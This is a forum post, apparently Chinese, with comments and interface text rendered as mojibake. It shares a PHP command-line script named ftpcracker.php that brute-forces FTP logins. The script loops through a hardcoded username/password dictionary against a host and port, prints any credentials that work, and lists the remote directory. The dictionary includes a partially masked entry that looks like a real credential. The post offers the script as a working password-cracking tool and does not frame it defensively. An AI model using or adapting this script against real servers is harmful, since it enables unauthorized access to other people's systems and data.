goback add

ftpÃÜÂëÆÆ½â½Å±¾

5101 µã»÷¡¤1 »ØÌû
µÆ»ð»¥Áª
Â¥Ö÷
<?php
/**
* ftpcracker.php
*
* @author qingshen <http://hi.baidu.com/qingshen1990 >
*/
/**
* ÏÂÃæÊÇÃÜÂë×ֵ䣬ÆäÖмüÃûÊÇÓû§Ãû£¬¼üÖµÊÇÃÜÂë
*/
$wordlist = array(
""=>"",
"admin"=>"admin",
"qingshen"=>"qingshen",
"123"=>"123",
"*plj*****"=>"5*********5560f"
);
/**
* FTPÀà
*/
class FTP{
/**
* ÉèÖÃ񻮮½âµÄÖ÷»úipµØÖ·
*/
var $host;
/**
* ÉèÖö˿ںÅ
*/
var $port;
/**
* ÓÃÀ´±£´æ·µ»ØµÄ¾ä±úºÅ
*/
var $ftp;
/**
* ÉèÖÃÖ÷»úipµØÖ·
*/
function sethost($host){
$this->host = $host;
}
/**
* ÉèÖÃÖ÷»ú¶Ë¿ÚºÅ
*/
function setport($port = 21){
$this->port = $port;
}
/**
* ºÍÖ÷»ú½øÐÐÁ¬½Ó
*/
function connect(){
$this->ftp = ftp_connect($this->host,$this->port,5);
if(!$this->ftp)
die("connect to $this->host failed!\n");
}
/**
* ³ÌÐòµÄºËÐIJ¿·Ö£¬½øÐÐÆÆ½â³É¹¦Ê±Êä³öÓû§ÃûºÍÃÜÂë
*/
function crackftp(){
$wordlist1 = $GLOBALS[wordlist];
for($i = 0;$i<count($wordlist1);$i++){
$userpass = each($wordlist1);
$is_log = ftp_login($this->ftp,$userpass[key],$userpass[value]);
if($is_log){
echo "loged in!\n";
echo "user is $userpass[key],pass is $userpass[value]\n";
$dir = ftp_pwd($this->ftp);
$arr = ftp_rawlist($this->ftp,$dir);
echo "The current directory is:\n";
print_r($arr);
die("find user and pass");
}
}
echo "crack failed\n";
}
}
$ftpcrack = new FTP;
/**
* ÅжϲÎÊý¸öÊýÊÇ·ñÂú×ãÒª,ÌáÈ¡²ÎÊý£¬²¢½«Æä±£´æÆðÀ´
*/
switch($argc){
case 1:
die("Missing argument\n");break;
case 2:{
$ftpcrack->sethost($argv[1]);
$ftpcrack->sethost($argv[1]);
break;
}
case 3:{
$ftpcrack->sethost($argv[1]);
$ftpcrack->setport($argv[2]);
break;
}
default :
die("More number of parameters");

}
$ftpcrack->connect();
$ftpcrack->crackftp();
?>

ͼƬ£º20120918012959632.jpg



ϲ»¶0 ÆÀ·Ö0
±ÕÑÛ¾ÍÌìºÚ
ɳ·¢
       

»Ø¸´(0) ϲ»¶(0)     ÆÀ·Ö